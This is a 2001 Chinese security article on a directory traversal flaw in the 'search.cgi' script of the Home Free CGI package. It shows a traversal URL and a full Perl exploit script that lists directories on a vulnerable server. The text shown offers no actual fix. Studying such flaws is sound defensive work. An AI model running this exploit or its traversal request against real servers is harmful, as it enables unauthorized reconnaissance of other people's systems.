您现在的位置是: E企业 > 安全之路 > 系统漏洞 > 正文




常见CGI漏洞及应对(二)
2001-07-12· ·柳永··yesky

search.cgi漏洞分析

先来看看SolutionScripts.com Home free CGI包的脆弱性(search CGI)。

SolutionScripts.com是一个perl CGI程序的经销商,经营所有支持perl的平台上的CGI程序,包括(WINNT、LINUX和大多数的UNIX)。 Home Free是一个CGI包,由SolutionScripts.com开发并销售。在这个CGI包里面的'search'CGI程序有一个安全漏洞,这个漏洞将导致攻击者浏览本地文件内容,甚至在web root目录之外的文件。

如果你对“目录越权访问”有比较好的理解,那么你可以利用这个CGI文件来浏览web root目录以外的内容。

以下说明这个漏洞的来由:

search.cgi 脚本使用以下的输入变量:
letter=any string
cata=any string
perpage=any string
start=any string
boolean=or/and
advanced

如果search.cgi有一个带'..'结果的'letter'变量,那么它就可能显示普通用户所不能访问的目录下的内容,如下所示:

http://www.example.com/cgi-bin/search.cgi?letter=..\..\..\..\winnt

利用上面的URL可以列出该服务器上的\winnt目录。使用这个脚本不能直接列出文件的内容,但它仍然具有一定的威胁性。因为攻击者可以利用这个漏洞来搜集服务器的一些敏感信息,例如绝对路径,DLL版本等等。

以下是这个漏洞的exploit,利用这个程序能在有这个漏洞的服务器上显示出root目录:

#!/usr/bin/perl
#
# Quick exploit of the Home Free ./search.cgi script, allows you to list
# directories on the host.
#
# Default server is antionline's, change as appropriate.
#
use IO::Socket;

if ($ARGV[0] eq "") { die "no argument\n"; }
$asoc = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "examplesite", PeerPort => 80) || die "can't connect to host: $!";

select($asoc);
$| = 1;

print $asoc "GET /cgi-bin/search.cgi?letter=..\\..\\..\\..\\$ARGV[0]&start=1&perpage=all HTTP/1.0\n\n";

while(<$asoc>) {
   if ($_ =~ /.+HREF.+TD.+/) {
      @parts = split("\"", $_);
      $foo = $parts[1];
      @parts = split("/", $foo);
      print STDOUT $parts[3];
      print STDOUT "\n";
   }
}

close(ASOC);

    CGI漏洞的危险性很大,利用上面的URL格式向服务器提交一个畸形的WEB请求,实际上相当于CGI程序给了网页浏览者一个该服务器的shell,你就可以在服务器上发送任意的命令了。如果WEB服务器是管理员权限起的WEB服务,那么攻击者直接可以通过CGI漏洞获得对服务器的完全控制权。

【责任编辑:小木工

■ 相关内容
 Unicode漏洞解决方案
 ASP常见的安全漏洞
 防止Outlook邮件被骗收
 Windows 2000漏洞集锦
 常见CGI漏洞及应对(一)
 如何防止Windows远程共享漏洞
 利用Unicode漏洞建立代理服务器
 利用Unicode漏洞进入Windows2000
 Microsoft IIS CGI文件名错误解码漏洞
 利用OutLook漏洞的蠕虫病毒
 Win2K中文版输入法漏洞入侵攻略
感谢 访问天极网,如果您觉得该文章涉及版权问题,请看这里!